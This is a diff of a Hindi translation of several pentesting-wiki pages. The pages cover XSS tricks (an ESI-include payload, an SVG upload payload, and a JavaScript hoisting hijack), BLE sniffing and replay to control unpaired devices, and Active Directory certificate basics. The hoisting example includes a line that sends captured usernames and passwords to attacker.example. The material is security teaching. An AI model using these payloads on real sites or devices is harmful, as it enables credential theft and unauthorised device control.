https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
{{#endref}}
## XSS अन्य कमजोरियों का दुरुपयोग
## XSS Abusing other vulnerabilities
### Markdown में XSS
### XSS in Markdown
क्या आप ऐसा Markdown कोड inject कर सकते हैं जो render होगा? शायद आपको XSS मिल सकता है! देखें:
क्या आप Markdown कोड इंजेक्ट कर सकते हैं जो render होगा? शायद आप XSS पा सकते हैं! चेक करें:
{{#ref}}
@ -1604,40 +1598,41 @@ xss-in-markdown.md
### XSS to SSRF
क्या आपको किसी साइट पर XSS मिला है जो caching का उपयोग करती है? Edge Side Include Injection के माध्यम से इस payload से इसे SSRF में upgrade करने की कोशिश करें:
क्या आपके पास XSS है **site that uses caching** पर? Edge Side Include Injection के माध्यम से इसे **upgrading that to SSRF** करने की कोशिश करें, इस payload के साथ:
```python
<esi:include src="http://yoursite.com/capture" />
```
Use it to bypass cookie restrictions, XSS filters and much more!\
More information about this technique here: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
इसे cookie restrictions, XSS filters और बहुत कुछ बायपास करने के लिए उपयोग करें!\
इस तकनीक के बारे में अधिक जानकारी यहाँ: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
### XSS डायनामिक रूप से बनाई गई PDF में
### डायनामिक रूप से बनाई गई PDF में XSS
यदि कोई वेब पेज user controlled input का उपयोग करके PDF बना रहा है, तो आप उस PDF को बना रहे bot को **trick** करके उसे **executing arbitrary JS code** करने के लिए प्रेरित करने की कोशिश कर सकते हैं।\
तो, यदि **PDF creator bot** किसी तरह के **HTML** **tags** को पाता है, तो वह उन्हें **interpret** करेगा, और आप इस व्यवहार का **abuse** करके **Server XSS** पैदा कर सकते हैं।
यदि कोई वेब पेज यूजर कंट्रोल्ड इनपुट का उपयोग करके PDF बना रहा है, तो आप PDF बना रहे बॉट को **बेपहमी में डालकर** **arbitrary JS code को निष्पादित** करवा सकते हैं।\
तो, अगर **PDF creator bot को** किसी प्रकार के **HTML** **टैग्स** मिलते हैं, तो वह उन्हें **interpret** करेगा, और आप इस व्यवहार का **abuse** करके **Server XSS** का कारण बन सकते हैं।
{{#ref}}
server-side-xss-dynamic-pdf.md
{{#endref}}
यदि आप HTML टैग्स इंजेक्ट नहीं कर पा रहे हैं तो **PDF data इंजेक्ट** करने की कोशिश करना फायदेमंद हो सकता है:
यदि आप HTML tags inject नहीं कर पा रहे हैं तो **inject PDF data** करने की कोशिश करना उपयोगी हो सकता है:
{{#ref}}
pdf-injection.md
{{#endref}}
### XSS in Amp4Email
### Amp4Email में XSS
AMP, जिसका उद्देश्य मोबाइल डिवाइसों पर वेब पेज प्रदर्शन को तेज करना है, HTML टैग्स को JavaScript के साथ जोड़ता है ताकि गति और सुरक्षा पर जोर देते हुए कार्यक्षमता सुनिश्चित की जा सके। यह विभिन्न सुविधाओं के लिए कई components को सपोर्ट करता है, जिन्हें [AMP components](https://amp.dev/documentation/components/?format=websites) के माध्यम से एक्सेस किया जा सकता है।
AMP, जिसका उद्देश्य mobile devices पर वेब पेज की performance को तेज करना है, HTML tags के साथ JavaScript का उपयोग करता है ताकि functionality बनी रहे और emphasis speed और security पर हो। यह विभिन्न features के लिए कई components को सपोर्ट करता है, जिन्हें [AMP components](https://amp.dev/documentation/components/?format=websites) के माध्यम से एक्सेस किया जा सकता है।
The [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) format extends specific AMP components to emails, enabling recipients to interact with content directly within their emails.
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) फॉर्मेट कुछ विशेष AMP components को ईमेल में बढ़ाता है, जिससे recipients सीधे अपने ईमेल के भीतर content के साथ interact कर सकते हैं।
Example [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
उदाहरण [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
### XSS फाइल अपलोड (svg)
### XSS फ़ाइल अपलोड (svg)
इमेज के रूप में निम्नलिखित जैसी फ़ाइल अपलोड करें (स्रोत: [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
ऐसी ही एक फाइल (image के रूप में) अपलोड करें (स्रोत: [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
```html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
@ -1693,7 +1688,7 @@ id="foo"/>
```xml
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />
```
खोजें **और अधिक SVG payloads में** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
अधिक SVG payloads के लिए देखें [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
## विविध JS ट्रिक्स और संबंधित जानकारी

42
src/pentesting-web/xss-cross-site-scripting/js-hoisting.md
View File

@ -2,31 +2,31 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## बुनियादी जानकारी
JavaScript भाषा में एक तंत्र जिसे **Hoisting** कहा जाता है, जहाँ variables, functions, classes, या imports की घोषणाओं को अवधारणा के रूप में उनके scope के शीर्ष पर उठाया जाता है, इससे पहले कि कोड execute हो। यह प्रक्रिया JavaScript engine द्वारा स्वचालित रूप से की जाती है, जो script को कई पासों में प्रोसेस करता है।
JavaScript भाषा में, एक तंत्र जिसे **Hoisting** कहा जाता है, उस अवधारणा को दर्शाता है जहाँ variables, functions, classes, या imports के declarations को उनके scope के शीर्ष पर सांकेतिक रूप से उठाया जाता है, इससे पहले कि कोड execute हो। यह प्रक्रिया JavaScript engine द्वारा स्वतः की जाती है, जो स्क्रिप्ट को कई पासों में पार करता है।
पहले पास के दौरान, engine कोड को parse करता है ताकि syntax errors की जाँच की जा सके और इसे एक abstract syntax tree में परिवर्तित किया जाता है। इस चरण में hoisting शामिल है, एक प्रक्रिया जहाँ कुछ घोषणाएँ execution context के शीर्ष पर स्थानांतरित कर दी जाती हैं। यदि parsing चरण सफल रहता है और कोई syntax error नहीं मिलता, तो script का execution आगे बढ़ता है।
पहले पास के दौरान, engine कोड को parse करता है ताकि syntax errors जाँचे जा सकें और इसे एक abstract syntax tree में बदलता है। इस चरण में hoisting भी शामिल है, वह प्रक्रिया जिसमें कुछ declarations execution context के शीर्ष पर ले जाए जाते हैं। यदि parsing चरण सफल रहता है, यानी कोई syntax error नहीं होता, तो script का execution आगे बढ़ता है।
यह समझना महत्वपूर्ण है कि:
1. execution होने के लिए script को syntax errors से मुक्त होना चाहिए। syntax नियमों का सख्ती से पालन आवश्यक है।
2. कोड का स्क्रिप्ट में स्थान hoisting के कारण execution को प्रभावित करता है, हालाँकि executed code इसकी टेक्स्टुअल representation से भिन्न हो सकता है।
1. script का execution तभी होगा जब वह syntax errors से मुक्त हो। Syntax नियमों का कड़ाई से पालन होना चाहिए।
2. hoisting के कारण स्क्रिप्ट में कोड की जगह execution को प्रभावित करती है, हालाँकि चलने वाला कोड उसके textual प्रतिनिधित्व से भिन्न हो सकता है।
#### Types of Hoisting
#### Hoisting के प्रकार
MDN की जानकारी के आधार पर, JavaScript में hoisting के चार अलग प्रकार होते हैं:
MDN की जानकारी के अनुसार, JavaScript में hoisting के चार अलग प्रकार हैं:
1. **Value Hoisting**: स्कोप के भीतर किसी variable के value का उसके declaration line से पहले उपयोग सक्षम करता है।
2. **Declaration Hoisting**: स्कोप के भीतर किसी variable को उसकी declaration से पहले reference करने की अनुमति देता है बिना `ReferenceError` के, लेकिन variable का value `undefined` होगा।
3. यह प्रकार उस स्कोप के भीतर व्यवहार को बदल देता है क्योंकि variable की घोषणा इसकी वास्तविक declaration line से पहले हो जाती है।
4. declaration के side effects को उस कोड के बाकी हिस्से के evaluate होने से पहले घटीत कर देता है जिसमें वह declaration शामिल है।
1. **Value Hoisting**: किसी variable के value का उसके scope के भीतर declaration line से पहले उपयोग करना संभव बनाता है।
2. **Declaration Hoisting**: इसके तहत किसी variable को उसके declaration से पहले उसके scope में reference करने की अनुमति मिलती है बिना `ReferenceError` के, लेकिन variable का value `undefined` होगा।
3. यह प्रकार अपने scope के भीतर व्यवहार को बदल देता है क्योंकि variable की declaration उसके वास्तविक declaration line से पहले होती है।
4. declaration के side effects उस कोड के बाकी हिस्से के evaluate होने से पहले होते हैं।
विस्तार में, function declarations type 1 hoisting व्यवहार दिखाती हैं। `var` keyword type 2 व्यवहार प्रदर्शित करता है। Lexical declarations, जिनमें `let`, `const`, और `class` शामिल हैं, type 3 व्यवहार दिखाते हैं। अंत में, `import` statements अनूठे हैं क्योंकि इन्हें type 1 और type 4 दोनों व्यवहारों के साथ hoist किया जाता है।
विस्तार से, function declarations प्रकार 1 के hoisting व्यवहार को दिखाते हैं। `var` keyword प्रकार 2 व्यवहार दिखाता है। Lexical declarations, जिनमें `let`, `const`, और `class` शामिल हैं, प्रकार 3 व्यवहार दिखाती हैं। अंत में, `import` statements अनोखे हैं क्योंकि इन्हें प्रकार 1 और प्रकार 4 दोनों के व्यवहार के साथ hoist किया जाता है।
## Scenarios
## परिदृश्य
इसलिए यदि आपके पास ऐसे परिदृश्य हैं जहाँ आप **Inject JS code after an undeclared object** का उपयोग कर सकते हैं, तो आप इसे declare करके **fix the syntax** कर सकते हैं (ताकि आपका कोड error फेंकने के बजाय execute हो):
इसलिए यदि आपके पास ऐसे परिदृश्य हैं जहाँ आप **Inject JS code after an undeclared object** कर पाते हैं, तो आप इसे declare करके **fix the syntax** कर सकते हैं (ताकि आपका कोड error फेंकने की बजाय execute हो):
```javascript
// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
@ -68,7 +68,7 @@ alert(1);
test.cookie("leo", "INJECTION")
test[("cookie", "injection")]
```
## और परिदृश्य
## अधिक परिदृश्य
```javascript
// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
@ -129,9 +129,9 @@ alert(1) -
}
trigger()
```
### बाद की घोषणाओं को रोकें const के साथ नाम लॉक करके
### बाद की घोषणाओं को रोकें: const के साथ एक नाम लॉक करके
यदि आप शीर्ष-स्तरीय `function foo(){...}` के पार्स होने से पहले निष्पादन कर सकते हैं, तो उसी नाम के साथ एक लेक्सिकल बाइंडिंग घोषित करने (उदा., `const foo = ...`) से बाद में आने वाली function declaration उस identifier को पुनः बाँधने से रोकी जाएगी। इसे RXSS में दुरुपयोग कर पेज पर बाद में परिभाषित महत्वपूर्ण handlers को hijack किया जा सकता है:
यदि आप किसी शीर्ष-स्तरीय `function foo(){...}` के पार्स होने से पहले कोड निष्पादित कर सकते हैं, तो उसी नाम के साथ एक लेक्सिकल बाइंडिंग घोषित करना (उदा., `const foo = ...`) बाद में होने वाली function declaration को उस identifier को पुनः बाँधने से रोकेगा। इसे RXSS में पेज पर बाद में परिभाषित महत्वपूर्ण handlers को hijack करने के लिए दुरुपयोग किया जा सकता है:
```javascript
// Malicious code runs first (e.g., earlier inline <script>)
const DoLogin = () => {
@ -143,11 +143,11 @@ fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURICom
// Later, the legitimate page tries to declare:
function DoLogin(){ /* ... */ } // cannot override the existing const binding
```
Notes
- यह निष्पादन क्रम और global (top-level) scope पर निर्भर करता है।
- यदि आपका payload `eval()` के अंदर execute होता है, तो याद रखें कि `const/let` `eval` के अंदर block-scoped होते हैं और global bindings नहीं बनाएंगे। एक नया `<script>` element inject करें जिसमें code हो ताकि एक वास्तविक global `const` स्थापित हो सके।
नोट्स
- यह execution order और global (top-level) scope पर निर्भर करता है।
- यदि आपका payload `eval()` के अंदर execute होता है, तो याद रखें कि `eval` के अंदर `const/let` block-scoped होते हैं और वे global bindings नहीं बनाते। एक नया `<script>` element inject करें जिसमें वह कोड हो जो एक सच्चा global `const` स्थापित करे।
## References
## संदर्भ
- [https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios](https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios)
- [https://developer.mozilla.org/en-US/docs/Glossary/Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting)

42
src/todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md
View File

@ -4,19 +4,19 @@
## परिचय
Bluetooth 4.0 specification के बाद से उपलब्ध, BLE केवल 40 चैनल उपयोग करता है, जो 2400 से 2483.5 MHz की रेंज को कवर करते हैं। इसके विपरीत, पारंपरिक Bluetooth उसी रेंज में 79 चैनल उपयोग करता है।
Available since the Bluetooth 4.0 specification, BLE uses only 40 channels, covering the range of 2400 to 2483.5 MHz. In contrast, traditional Bluetooth uses 79 channels in that same range.
BLE devices का संचार **advertising packets** (**beacons**) भेजकर होता है; ये packets BLE डिवाइस के मौजूद होने की सूचना पास के अन्य डिवाइसों को प्रसारित करते हैं। ये beacons कभी-कभी भी **send data** करते हैं।
BLE devices communicate is by sending **advertising packets** (**beacons**), these packets broadcast the BLE device’s existence to other nearby devices. These beacons sometimes **send data**, too.
सुनने वाला डिवाइस, जिसे central device भी कहा जाता है, किसी advertising packet का जवाब एक **SCAN request** भेजकर दे सकता है जो विशेष रूप से उस advertising device को भेजा गया होता है। उस स्कैन का **response** उसी संरचना का उपयोग करता है जो **advertising** packet में होती है, साथ ही अतिरिक्त जानकारी जो प्रारंभिक advertising request में समा नहीं पाई थी, जैसे कि पूरा device name।
The listening device, also called a central device, can respond to an advertising packet with a **SCAN request** sent specifically to the advertising device. The **response** to that scan uses the same structure as the **advertising** packet with additional information that couldn’t fit on the initial advertising request, such as the full device name.
![](<../../images/image (152).png>)
Preamble byte frequency को synchronize करता है, जबकि चार-बाइट का access address एक **connection identifier** होता है, जो उन परिदृश्यों में उपयोग होता है जहाँ एक ही चैनलों पर कई डिवाइस कनेक्शन स्थापित करने की कोशिश कर रहे होते हैं। आगे, Protocol Data Unit (**PDU**) में **advertising data** होता है। PDU के कई प्रकार होते हैं; सबसे सामान्यतः उपयोग किए जाने वाले ADV_NONCONN_IND और ADV_IND हैं। डिवाइस **ADV_NONCONN_IND** PDU प्रकार का उपयोग करते हैं यदि वे **don’t accept connections**, केवल advertising packet में डेटा भेजते हैं। डिवाइस **ADV_IND** का उपयोग करते हैं यदि वे **allow connections** और एक **connection** स्थापित हो जाने पर **stop sending advertising** packets कर देते हैं।
The preamble byte synchronizes the frequency, whereas the four-byte access address is a **connection identifier**, which is used in scenarios where multiple devices are trying to establish connections on the same channels. Next, the Protocol Data Unit (**PDU**) contains the **advertising data**. There are several types of PDU; the most commonly used are ADV_NONCONN_IND and ADV_IND. Devices use the **ADV_NONCONN_IND** PDU type if they **don’t accept connections**, transmitting data only in the advertising packet. Devices use **ADV_IND** if they **allow connections** and **stop sending advertising** packets once a **connection** has been **established**.
### GATT
The **Generic Attribute Profile** (GATT) परिभाषित करता है कि **device should format and transfer data** कैसे। जब आप किसी BLE device के attack surface का विश्लेषण कर रहे होते हैं, तो आप अक्सर GATT (या GATTs) पर ध्यान केंद्रित करेंगे, क्योंकि यही तरीका है जिससे **device functionality gets triggered** और डेटा कैसे store, grouped, और modified होता है। GATT किसी डिवाइस की characteristics, descriptors, और services को एक तालिका में 16- या 32-बिट मानों के रूप में सूचीबद्ध करता है। एक **characteristic** वह **data** मान है जो central device और peripheral के बीच **sent** होता है। इन characteristics में **descriptors** हो सकते हैं जो उनके बारे में **provide additional information about them**। यदि वे किसी विशेष क्रिया को करने से संबंधित हैं तो **Characteristics** अक्सर **grouped** में **services** के रूप में रखे जाते हैं।
The **Generic Attribute Profile** (GATT) defines how the **device should format and transfer data**. When you’re analyzing a BLE device’s attack surface, you’ll often concentrate your attention on the GATT (or GATTs), because it’s how **device functionality gets triggered** and how data gets stored, grouped, and modified. The GATT lists a device’s characteristics, descriptors, and services in a table as either 16- or 32-bits values. A **characteristic** is a **data** value **sent** between the central device and peripheral. These characteristics can have **descriptors** that **provide additional information about them**. **Characteristics** are often **grouped** in **services** if they’re related to performing a particular action.
## Enumeration
```bash
@ -30,8 +30,8 @@ spooftooph -i hci0 -a 11:22:33:44:55:66
```
### GATTool
**GATTool** किसी अन्य डिवाइस के साथ **कनेक्शन स्थापित** करने, उस डिवाइस की **विशेषताएँ** सूचीबद्ध करने, और उसके एट्रिब्यूट्स को पढ़ने और लिखने की अनुमति देता है.\
GATTTool `-I` विकल्प के साथ एक interactive shell लॉन्च कर सकता है:
**GATTool** किसी अन्य डिवाइस के साथ **कनेक्शन** **स्थापित** करने, उस डिवाइस की **विशेषताएँ** सूचीबद्ध करने, और उसके एट्रिब्यूट्स पढ़ने और लिखने की अनुमति देता है.\
GATTTool `-I` विकल्प के साथ एक इंटरैक्टिव शेल लॉन्च कर सकता है:
```bash
gatttool -i hci0 -I
[ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful
@ -64,13 +64,13 @@ sudo bettercap --eval "ble.recon on"
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06
```
## Sniffing and actively controlling unpaired BLE devices
## Sniffing और अनपेयर किए गए BLE डिवाइसों को सक्रिय रूप से नियंत्रित करना
कई कम-लागत BLE peripherals pairing/bonding लागू नहीं करते। बिना bonding के, Link Layer encryption कभी सक्षम नहीं होती, इसलिए ATT/GATT ट्रैफ़िक cleartext में होता है। एक off-path sniffer connection को follow कर सकता है, GATT operations को decode कर characteristic handles और values सीख सकता है, और कोई भी nearby host फिर connect करके उन writes को replay कर device को control कर सकता है।
कई सस्ते BLE peripherals pairing/bonding लागू नहीं करते। bonding के बिना, Link Layer encryption कभी सक्षम नहीं होता, इसलिए ATT/GATT traffic cleartext में रहता है। एक off-path sniffer connection को फॉलो कर सकता है, GATT operations को decode कर characteristic handles और values सीख सकता है, और कोई भी निकटस्थ host तब connect करके उन लिखे गए डेटाओं को replay कर डिवाइस को नियंत्रित कर सकता है।
### Sniffing with Sniffle (CC26x2/CC1352)
हार्डवेयर: Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) जिसे NCC Group’s Sniffle firmware से re-flashed किया गया है।
हार्डवेयर: a Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) NCC Group’s Sniffle firmware से re-flashed किया गया।
Linux पर Sniffle और इसके Wireshark extcap को इंस्टॉल करें:
```bash
@ -104,11 +104,11 @@ python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc
deactivate
popd
```
Wireshark में Sniffle extcap के माध्यम से कैप्चर करें और filtering करके state-changing writes पर जल्दी से pivot करें:
Wireshark में Sniffle extcap के माध्यम से कैप्चर करें और फ़िल्टर करके जल्दी से state-changing writes पर pivot करें:
```text
_ws.col.info contains "Sent Write Command"
```
यह क्लाइंट की ओर से ATT Write Commands को हाइलाइट करता है; handle और value अक्सर सीधे डिवाइस क्रियाओं से मैप होते हैं (उदाहरण: buzzer/alert characteristic में 0x01 लिखना, बंद करने के लिए 0x00)।
यह क्लाइंट से ATT Write Commands को हाइलाइट करता है; handle और value अक्सर सीधे डिवाइस क्रियाओं से मैप होते हैं (e.g., write 0x01 to a buzzer/alert characteristic, 0x00 to stop).
Sniffle CLI के त्वरित उदाहरण:
```bash
@ -118,18 +118,18 @@ python3 scanner.py --rssi -40
# Filter advertisements containing a string
python3 sniffer.py --string "banana" --output sniff.pcap
```
वैकल्पिक sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin भी काम करता है। छोटे/सस्ते Nordic dongles पर आप आमतौर पर USB bootloader को overwrite करते हैं ताकि sniffer firmware लोड की जा सके, इसलिए या तो आप एक समर्पित sniffer dongle रखते हैं या बाद में bootloader को restore करने के लिए J-Link/JTAG की आवश्यकता होती है।
Alternative sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin भी काम करता है। छोटे/सस्ते Nordic dongles पर आप आम तौर पर USB bootloader को overwrite करके sniffer firmware लोड करते हैं, इसलिए या तो आप एक dedicated sniffer dongle रखें या बाद में bootloader को restore करने के लिए J-Link/JTAG की आवश्यकता होगी।
### GATT के माध्यम से सक्रिय नियंत्रण
एक बार जब आप sniffed traffic से एक writable characteristic handle और value पहचान लेते हैं, तो किसी भी central के रूप में connect करें और वही write करें:
एक बार जब आप sniffed traffic से writable characteristic handle और value पहचान लेते हैं, तो किसी भी central के रूप में connect करें और वही write जारी करें:
- Nordic nRF Connect for Desktop (BLE app) के साथ:
- Nordic nRF Connect for Desktop (BLE app) का उपयोग करके:
- nRF52/nRF52840 dongle चुनें, scan करें और target से connect करें।
- GATT database ब्राउज़ करें, target characteristic ढूंढें (अक्सर इसका एक friendly name होता है, उदाहरण के लिए Alert Level)।
- sniffed bytes के साथ Write करें (उदा., trigger करने के लिए 01, रोकने के लिए 00)।
- GATT database को browse करें, target characteristic ढूँढें (अक्सर friendly name होता है, जैसे Alert Level)।
- sniffed bytes के साथ एक Write perform करें (उदा., 01 trigger करने के लिए, 00 रोकने के लिए)।
- Windows पर Nordic dongle का उपयोग करके Python + blatann से ऑटोमेट करें:
- Windows पर Nordic dongle के साथ Python + blatann का उपयोग कर Automate करें:
```python
import time
import blatann
@ -171,9 +171,9 @@ ble_device.close()
```
### ऑपरेशनल नोट्स और निवारक उपाय
- Linux पर मजबूत channel hopping और connection following के लिए Sonoff+Sniffle को प्राथमिकता दें। बैकअप के लिए एक अतिरिक्त Nordic sniffer रखें।
- pairing/bonding के बिना, कोई भी नज़दीकी attacker लिखने वाली गतिविधियों (writes) को देख सकता है और unauthenticated writable characteristics पर अपने खुद के replay/craft किए गए writes भेज सकता है।
- निवारक उपाय: pairing/bonding को आवश्यक बनाएं और encryption लागू करें; characteristic permissions को सेट करें ताकि authenticated writes आवश्यक हों; unauthenticated writable characteristics को न्यूनतम रखें; Sniffle/nRF Connect के साथ GATT ACLs को validate करें।
- मजबूत channel hopping और connection following के लिए Linux पर Sonoff+Sniffle को प्राथमिकता दें। बैकअप के रूप में एक अतिरिक्त Nordic sniffer रखें।
- pairing/bonding के बिना, कोई भी पास मौजूद attacker writes को observe कर सकता है और unauthenticated writable characteristics पर अपने खुद के writes को replay/craft कर सकता है।
- निवारक उपाय: pairing/bonding आवश्यक करें और एन्क्रिप्शन को लागू करें; characteristic permissions को सेट करें ताकि authenticated writes आवश्यक हों; unauthenticated writable characteristics को न्यूनतम रखें; Sniffle/nRF Connect के साथ GATT ACLs को validate करें।
## संदर्भ

131
src/windows-hardening/active-directory-methodology/ad-certificates/README.md
View File

@ -1,144 +1,107 @@
# AD Certificates
# AD प्रमाणपत्र
{{#include ../../../banners/hacktricks-training.md}}
## Introduction
## परिचय
### Components of a Certificate
- The **Subject** of the certificate denotes its owner.
- प्रमाणपत्र का **Subject** इसके मालिक को दर्शाता है।
- A **Public Key** is paired with a privately held key to link the certificate to its rightful owner.
- एक **Public Key** को निजी कुंजी के साथ जोड़ा जाता है ताकि प्रमाणपत्र उसके वैध मालिक से जुड़ सके।
- The **Validity Period**, defined by **NotBefore** and **NotAfter** dates, marks the certificate's effective duration.
- **Validity Period**, जिसे **NotBefore** और **NotAfter** तारीखों द्वारा परिभाषित किया जाता है, प्रमाणपत्र की वास्तविक अवधि दिखाती है।
- A unique **Serial Number**, provided by the Certificate Authority (CA), identifies each certificate.
- एक अद्वितीय **Serial Number**, जिसे Certificate Authority (CA) द्वारा प्रदान किया जाता है, प्रत्येक प्रमाणपत्र की पहचान करता है।
- The **Issuer** refers to the CA that has issued the certificate.
- **Issuer** उस CA को संदर्भित करता है जिसने प्रमाणपत्र जारी किया है।
- **SubjectAlternativeName** allows for additional names for the subject, enhancing identification flexibility.
- **SubjectAlternativeName** विषय के लिए अतिरिक्त नामों की अनुमति देता है, जिससे पहचान अधिक लचीली बनती है।
- **Basic Constraints** identify if the certificate is for a CA or an end entity and define usage restrictions.
- **Basic Constraints** यह दर्शाते हैं कि प्रमाणपत्र CA के लिए है या end entity के लिए, और उपयोग पर प्रतिबंध तय करते हैं।
- **Extended Key Usages (EKUs)** delineate the certificate's specific purposes, like code signing or email encryption, through Object Identifiers (OIDs).
- **Extended Key Usages (EKUs)** Object Identifiers (OIDs) के माध्यम से प्रमाणपत्र के विशिष्ट उद्देश्यों को निर्दिष्ट करते हैं, जैसे code signing या email encryption।
- The **Signature Algorithm** specifies the method for signing the certificate.
- **Signature Algorithm** प्रमाणपत्र पर हस्ताक्षर करने की विधि को निर्दिष्ट करता है।
- The **Signature**, created with the issuer's private key, guarantees the certificate's authenticity.
- **Signature**, जिसे issuer की निजी कुंजी से बनाया जाता है, प्रमाणपत्र की प्रामाणिकता की गारंटी देता है।
- प्रमाणपत्र का **Subject** इसके मालिक का संकेत देता है।
- एक **Public Key** को निजी रूप से रखी गई कुंजी के साथ जोड़ा जाता है ताकि प्रमाणपत्र उसके सही मालिक से जुड़ा रहे।
- **Validity Period**, जो **NotBefore** और **NotAfter** तारीखों द्वारा परिभाषित होता है, प्रमाणपत्र की प्रभावी अवधि को दर्शाता है।
- एक अद्वितीय **Serial Number**, जो Certificate Authority (CA) द्वारा प्रदान किया जाता है, हर प्रमाणपत्र की पहचान करता है।
- **Issuer** उस CA को संदर्भित करता है जिसने प्रमाणपत्र जारी किया है।
- **SubjectAlternativeName** विषय के लिए अतिरिक्त नामों की अनुमति देता है, जिससे पहचान की लचीलापन बढ़ती है।
- **Basic Constraints** यह पहचानते हैं कि प्रमाणपत्र CA के लिए है या एक end entity के लिए और उपयोग प्रतिबंधों को परिभाषित करते हैं।
- **Extended Key Usages (EKUs)** Object Identifiers (OIDs) के माध्यम से प्रमाणपत्र के विशिष्ट प्रयोजनों को स्पष्ट करते हैं, जैसे code signing या email encryption।
- **Signature Algorithm** प्रमाणपत्र पर हस्ताक्षर करने की विधि निर्दिष्ट करता है।
- **Signature**, issuer की private key के साथ बनाई जाती है, और प्रमाणपत्र की प्रामाणिकता की गारंटी देती है।
### Special Considerations
- **Subject Alternative Names (SANs)** expand a certificate's applicability to multiple identities, crucial for servers with multiple domains. Secure issuance processes are vital to avoid impersonation risks by attackers manipulating the SAN specification.
- **Subject Alternative Names (SANs)** प्रमाणपत्र की उपयुक्तता को कई पहचानों तक बढ़ाते हैं, जो कई डोमेन वाले सर्वरों के लिए महत्वपूर्ण है। SAN विनिर्देशन में छेड़छाड़ करके हमलावरों द्वारा impersonation के जोखिम से बचने के लिए secure issuance प्रक्रियाएँ आवश्यक हैं।
- **Subject Alternative Names (SANs)** प्रमाणपत्र की प्रासंगिकता को कई पहचानों तक बढ़ाते हैं, जो एकाधिक डोमेन वाले सर्वरों के लिए महत्वपूर्ण है। SAN विनिर्देशन में हेरफेर करके attackers द्वारा impersonation के जोखिम से बचने के लिए secure issuance प्रक्रियाएँ आवश्यक हैं।
### Certificate Authorities (CAs) in Active Directory (AD)
AD CS acknowledges CA certificates in an AD forest through designated containers, each serving unique roles:
AD CS AD forest में CA प्रमाणपत्रों को नामित कंटेनरों के माध्यम से स्वीकार करता है, जिनमें से प्रत्येक अलग भूमिका निभाता है:
- **Certification Authorities** container holds trusted root CA certificates.
- **Certification Authorities** कंटेनर में trusted root CA प्रमाणपत्र रखे जाते हैं।
- **Enrolment Services** container details Enterprise CAs and their certificate templates.
- **Enrolment Services** कंटेनर Enterprise CAs और उनके certificate templates का विवरण रखता है।
- **NTAuthCertificates** object includes CA certificates authorized for AD authentication.
- **NTAuthCertificates** ऑब्जेक्ट में वे CA प्रमाणपत्र शामिल होते हैं जिन्हें AD authentication के लिए अधिकृत किया गया है।
- **AIA (Authority Information Access)** container facilitates certificate chain validation with intermediate and cross CA certificates.
- **AIA (Authority Information Access)** कंटेनर intermediate और cross CA प्रमाणपत्रों के साथ certificate chain validation को सक्षम बनाता है।
- **Certification Authorities** कंटेनर में trusted root CA प्रमाणपत्र होते हैं।
- **Enrolment Services** कंटेनर Enterprise CAs और उनके certificate templates का विवरण रखता है।
- **NTAuthCertificates** object में AD authentication के लिए अधिकृत CA प्रमाणपत्र शामिल होते हैं।
- **AIA (Authority Information Access)** कंटेनर intermediate और cross CA प्रमाणपत्रों के साथ certificate chain validation की सुविधा प्रदान करता है।
### Certificate Acquisition: Client Certificate Request Flow
1. The request process begins with clients finding an Enterprise CA.
- अनुरोध प्रक्रिया क्लाइंट्स के Enterprise CA खोजने से शुरू होती है।
2. A CSR is created, containing a public key and other details, after generating a public-private key pair.
- public-private key जोड़ी बनाने के बाद एक CSR बनाया जाता है, जिसमें public key और अन्य विवरण होते हैं।
3. The CA assesses the CSR against available certificate templates, issuing the certificate based on the template's permissions.
- CA उपलब्ध certificate templates के खिलाफ CSR का मूल्यांकन करता है और template की permissions के आधार पर प्रमाणपत्र जारी करता है।
4. Upon approval, the CA signs the certificate with its private key and returns it to the client.
- अनुमोदन पर, CA अपनी निजी कुंजी से प्रमाणपत्र पर हस्ताक्षर करता है और इसे क्लाइंट को लौटाता है।
1. प्रक्रिया क्लाइंट्स द्वारा Enterprise CA खोजने से शुरू होती है।
2. एक CSR बनाया जाता है, जिसमें एक public key और अन्य विवरण होते हैं, यह public-private key pair बनाने के बाद होता है।
3. CA उपलब्ध certificate templates के खिलाफ CSR का मूल्यांकन करता है और template की permissions के आधार पर प्रमाणपत्र जारी करता है।
4. अनुमोदन पर, CA अपने private key से प्रमाणपत्र पर हस्ताक्षर करता है और उसे क्लाइंट को वापस भेजता है।
### Certificate Templates
Defined within AD, these templates outline the settings and permissions for issuing certificates, including permitted EKUs and enrollment or modification rights, critical for managing access to certificate services.
